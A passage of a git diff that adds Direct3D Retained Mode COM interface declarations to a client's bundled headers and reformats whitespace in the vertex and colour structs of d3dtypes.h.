STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE; + STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE; + STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE; + STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE; + STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE; + STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; + STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE; + STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE; + STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMesh +DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; + STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; + STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE; + STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE; + STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE; + STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE; + STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE; + STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE; + STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE; + STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE; + STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE; + STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE; + STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE; + STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE; + STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMShadow +DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init) + ( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light, + D3DVALUE px, D3DVALUE py, D3DVALUE pz, + D3DVALUE nx, D3DVALUE ny, D3DVALUE nz + ) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFace +DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE; + STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE; + STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals); + STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE; + STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; + STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE; + STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE; + STDMETHOD_(int, GetVertexCount)(THIS) PURE; + STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE; + STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMeshBuilder +DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE; + STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE; + STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; + STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE; + STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; + STDMETHOD(GenerateNormals)(THIS) PURE; + STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE; + STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE; + STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE; + STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE; + STDMETHOD(AddFaces) + ( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals, + DWORD *data, LPDIRECT3DRMFACEARRAY* + ) PURE; + STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; + STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; + STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; + STDMETHOD(SetPerspective)(THIS_ BOOL) PURE; + STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE; + STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE; + STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE; + STDMETHOD(GetVertices) + ( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data + ) PURE; + STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE; + STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; + STDMETHOD_(BOOL, GetPerspective)(THIS) PURE; + STDMETHOD_(int, GetFaceCount)(THIS) PURE; + STDMETHOD_(int, GetVertexCount)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE; + STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMLight +DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE; + STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE; + STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; + STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE; + STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMTexture +DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE; + STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE; + STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE; + STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE; + STDMETHOD(SetColors)(THIS_ DWORD) PURE; + STDMETHOD(SetShades)(THIS_ DWORD) PURE; + STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE; + STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE; + STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE; + STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE; + STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE; + STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE; + STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE; + STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE; + STDMETHOD_(DWORD, GetShades)(THIS) PURE; + STDMETHOD_(DWORD, GetColors)(THIS) PURE; + STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE; + STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE; + STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMWrap +DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init) + ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref, + D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, + D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, + D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, + D3DVALUE ou, D3DVALUE ov, + D3DVALUE su, D3DVALUE sv + ) PURE; + STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE; + STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMMaterial +DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE; + STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; + STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; + STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE; + STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; + STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMAnimation +DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE; + STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE; + STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE; + STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE; + STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; + STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMAnimationSet +DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE; + STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; + STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMUserVisual +DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMArray +DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMDeviceArray +DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFrameArray +DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMViewportArray +DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMVisualArray +DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMPickedArray +DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMLightArray +DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFaceArray +DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray) +{ + IUNKNOWN_METHODS(PURE); + STDMETHOD_(DWORD, GetSize)(THIS) PURE; + STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE; +}; +#endif diff --git a/client/d3d/d3dtypes.h b/client/d3d/d3dtypes.h index c65ec70..4057191 100644 --- a/client/d3d/d3dtypes.h +++ b/client/d3d/d3dtypes.h @@ -164,20 +164,20 @@ typedef DWORD D3DMATRIXHANDLE, *LPD3DMATRIXHANDLE; #ifndef D3DCOLORVALUE_DEFINED typedef struct _D3DCOLORVALUE { union { - D3DVALUE r; - D3DVALUE dvR; + D3DVALUE r; + D3DVALUE dvR; }; union { - D3DVALUE g; - D3DVALUE dvG; + D3DVALUE g; + D3DVALUE dvG; }; union { - D3DVALUE b; - D3DVALUE dvB; + D3DVALUE b; + D3DVALUE dvB; }; union { - D3DVALUE a; - D3DVALUE dvA; + D3DVALUE a; + D3DVALUE dvA; }; } D3DCOLORVALUE; #define D3DCOLORVALUE_DEFINED @@ -187,20 +187,20 @@ typedef struct _D3DCOLORVALUE *LPD3DCOLORVALUE; #ifndef D3DRECT_DEFINED typedef struct _D3DRECT { union { - LONG x1; - LONG lX1; + LONG x1; + LONG lX1; }; union { - LONG y1; - LONG lY1; + LONG y1; + LONG lY1; }; union { - LONG x2; - LONG lX2; + LONG x2; + LONG lX2; }; union { - LONG y2; - LONG lY2; + LONG y2; + LONG lY2; }; } D3DRECT; #define D3DRECT_DEFINED @@ -219,16 +219,16 @@ typedef struct _D3DRECT *LPD3DRECT; #ifndef D3DVECTOR_DEFINED typedef struct _D3DVECTOR { union { - D3DVALUE x; - D3DVALUE dvX; + D3DVALUE x; + D3DVALUE dvX; }; union { - D3DVALUE y; - D3DVALUE dvY; + D3DVALUE y; + D3DVALUE dvY; }; union { - D3DVALUE z; - D3DVALUE dvZ; + D3DVALUE z; + D3DVALUE dvZ; }; #if(DIRECT3D_VERSION >= 0x0500) #if (defined __cplusplus) && (defined D3D_OVERLOADS) @@ -275,41 +275,41 @@ public: // ===================================== // Addition and subtraction - friend _D3DVECTOR operator + (const _D3DVECTOR& v1, const _D3DVECTOR& v2); - friend _D3DVECTOR operator - (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR operator + (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR operator - (const _D3DVECTOR& v1, const _D3DVECTOR& v2); // Scalar multiplication and division - friend _D3DVECTOR operator * (const _D3DVECTOR& v, D3DVALUE s); - friend _D3DVECTOR operator * (D3DVALUE s, const _D3DVECTOR& v); - friend _D3DVECTOR operator / (const _D3DVECTOR& v, D3DVALUE s); + friend _D3DVECTOR operator * (const _D3DVECTOR& v, D3DVALUE s); + friend _D3DVECTOR operator * (D3DVALUE s, const _D3DVECTOR& v); + friend _D3DVECTOR operator / (const _D3DVECTOR& v, D3DVALUE s); // Memberwise multiplication and division - friend _D3DVECTOR operator * (const _D3DVECTOR& v1, const _D3DVECTOR& v2); - friend _D3DVECTOR operator / (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR operator * (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR operator / (const _D3DVECTOR& v1, const _D3DVECTOR& v2); // Vector dominance - friend int operator < (const _D3DVECTOR& v1, const _D3DVECTOR& v2); - friend int operator <= (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend int operator < (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend int operator <= (const _D3DVECTOR& v1, const _D3DVECTOR& v2); // Bitwise equality - friend int operator == (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend int operator == (const _D3DVECTOR& v1, const _D3DVECTOR& v2); // Length-related functions - friend D3DVALUE SquareMagnitude (const _D3DVECTOR& v); - friend D3DVALUE Magnitude (const _D3DVECTOR& v); + friend D3DVALUE SquareMagnitude (const _D3DVECTOR& v); + friend D3DVALUE Magnitude (const _D3DVECTOR& v); // Returns vector with same direction and unit length - friend _D3DVECTOR Normalize (const _D3DVECTOR& v); + friend _D3DVECTOR Normalize (const _D3DVECTOR& v); // Return min/max component of the input vector - friend D3DVALUE Min (const _D3DVECTOR& v); - friend D3DVALUE Max (const _D3DVECTOR& v); + friend D3DVALUE Min (const _D3DVECTOR& v); + friend D3DVALUE Max (const _D3DVECTOR& v); // Return memberwise min/max of input vectors - friend _D3DVECTOR Minimize (const _D3DVECTOR& v1, const _D3DVECTOR& v2); - friend _D3DVECTOR Maximize (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR Minimize (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR Maximize (const _D3DVECTOR& v1, const _D3DVECTOR& v2); // Dot and cross product - friend D3DVALUE DotProduct (const _D3DVECTOR& v1, const _D3DVECTOR& v2); - friend _D3DVECTOR CrossProduct (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend D3DVALUE DotProduct (const _D3DVECTOR& v1, const _D3DVECTOR& v2); + friend _D3DVECTOR CrossProduct (const _D3DVECTOR& v1, const _D3DVECTOR& v2); #endif #endif /* DIRECT3D_VERSION >= 0x0500 */ @@ -338,16 +338,16 @@ typedef struct _D3DVECTOR *LPD3DVECTOR; typedef struct _D3DHVERTEX { DWORD dwFlags; /* Homogeneous clipping flags */ union { - D3DVALUE hx; - D3DVALUE dvHX; + D3DVALUE hx; + D3DVALUE dvHX; }; union { - D3DVALUE hy; - D3DVALUE dvHY; + D3DVALUE hy; + D3DVALUE dvHY; }; union { - D3DVALUE hz; - D3DVALUE dvHZ; + D3DVALUE hz; + D3DVALUE dvHZ; }; } D3DHVERTEX, *LPD3DHVERTEX; @@ -356,36 +356,36 @@ typedef struct _D3DHVERTEX { */ typedef struct _D3DTLVERTEX { union { - D3DVALUE sx; /* Screen coordinates */ - D3DVALUE dvSX; + D3DVALUE sx; /* Screen coordinates */ + D3DVALUE dvSX; }; union { - D3DVALUE sy; - D3DVALUE dvSY; + D3DVALUE sy; + D3DVALUE dvSY; }; union { - D3DVALUE sz; - D3DVALUE dvSZ; + D3DVALUE sz; + D3DVALUE dvSZ; }; union { - D3DVALUE rhw; /* Reciprocal of homogeneous w */ - D3DVALUE dvRHW; + D3DVALUE rhw; /* Reciprocal of homogeneous w */ + D3DVALUE dvRHW; }; union { - D3DCOLOR color; /* Vertex color */ - D3DCOLOR dcColor; + D3DCOLOR color; /* Vertex color */ + D3DCOLOR dcColor; }; union { - D3DCOLOR specular; /* Specular component of vertex */ - D3DCOLOR dcSpecular; + D3DCOLOR specular; /* Specular component of vertex */ + D3DCOLOR dcSpecular; }; union { - D3DVALUE tu; /* Texture coordinates */ - D3DVALUE dvTU; + D3DVALUE tu; /* Texture coordinates */ + D3DVALUE dvTU; }; union { - D3DVALUE tv; - D3DVALUE dvTV; + D3DVALUE tv; + D3DVALUE dvTV; }; #if(DIRECT3D_VERSION >= 0x0500) #if (defined __cplusplus) && (defined D3D_OVERLOADS) @@ -393,10 +393,16 @@ typedef struct _D3DTLVERTEX { _D3DTLVERTEX(const D3DVECTOR& v, float _rhw, D3DCOLOR _color, D3DCOLOR _specular, float _tu, float _tv) - { sx = v.x; sy = v.y; sz = v.z; rhw = _rhw; - color = _color; specular = _specular; - tu = _tu; tv = _tv; - } + { + sx = v.x; + sy = v.y; + sz = v.z; + rhw = _rhw; + color = _color; + specular = _specular; + tu = _tu; + tv = _tv; + } #endif #endif /* DIRECT3D_VERSION >= 0x0500 */ } D3DTLVERTEX, *LPD3DTLVERTEX; @@ -406,33 +412,33 @@ typedef struct _D3DTLVERTEX { */ typedef struct _D3DLVERTEX { union { - D3DVALUE x; /* Homogeneous coordinates */ - D3DVALUE dvX; + D3DVALUE x; /* Homogeneous coordinates */ + D3DVALUE dvX; }; union { - D3DVALUE y; - D3DVALUE dvY; + D3DVALUE y; + D3DVALUE dvY; }; union { - D3DVALUE z; - D3DVALUE dvZ; + D3DVALUE z; + D3DVALUE dvZ; }; DWORD dwReserved; union { - D3DCOLOR color; /* Vertex color */ - D3DCOLOR dcColor; + D3DCOLOR color; /* Vertex color */ + D3DCOLOR dcColor; }; union { - D3DCOLOR specular; /* Specular component of vertex */ - D3DCOLOR dcSpecular; + D3DCOLOR specular; /* Specular component of vertex */ + D3DCOLOR dcSpecular; }; union { - D3DVALUE tu; /* Texture coordinates */ - D3DVALUE dvTU; + D3DVALUE tu; /* Texture coordinates */ + D3DVALUE dvTU; }; union { - D3DVALUE tv; - D3DVALUE dvTV; + D3DVALUE tv; + D3DVALUE dvTV; }; #if(DIRECT3D_VERSION >= 0x0500) #if (defined __cplusplus) && (defined D3D_OVERLOADS) @@ -440,10 +446,16 @@ typedef struct _D3DLVERTEX { _D3DLVERTEX(const D3DVECTOR& v, D3DCOLOR _color, D3DCOLOR _specular, float _tu, float _tv) - { x = v.x; y = v.y; z = v.z; dwReserved = 0; - color = _color; specular = _specular; - tu = _tu; tv = _tv; - } + { + x = v.x; + y = v.y; + z = v.z; + dwReserved = 0; + color = _color; + specular = _specular; + tu = _tu; + tv = _tv; + } #endif #endif /* DIRECT3D_VERSION >= 0x0500 */ } D3DLVERTEX, *LPD3DLVERTEX; @@ -454,45 +466,51 @@ typedef struct _D3DLVERTEX { typedef struct _D3DVERTEX { union { - D3DVALUE x; /* Homogeneous coordinates */ - D3DVALUE dvX; + D3DVALUE x; /* Homogeneous coordinates */ + D3DVALUE dvX; }; union { - D3DVALUE y; - D3DVALUE dvY; + D3DVALUE y; + D3DVALUE dvY; }; union { - D3DVALUE z; - D3DVALUE dvZ; + D3DVALUE z; + D3DVALUE dvZ; }; union { - D3DVALUE nx; /* Normal */ - 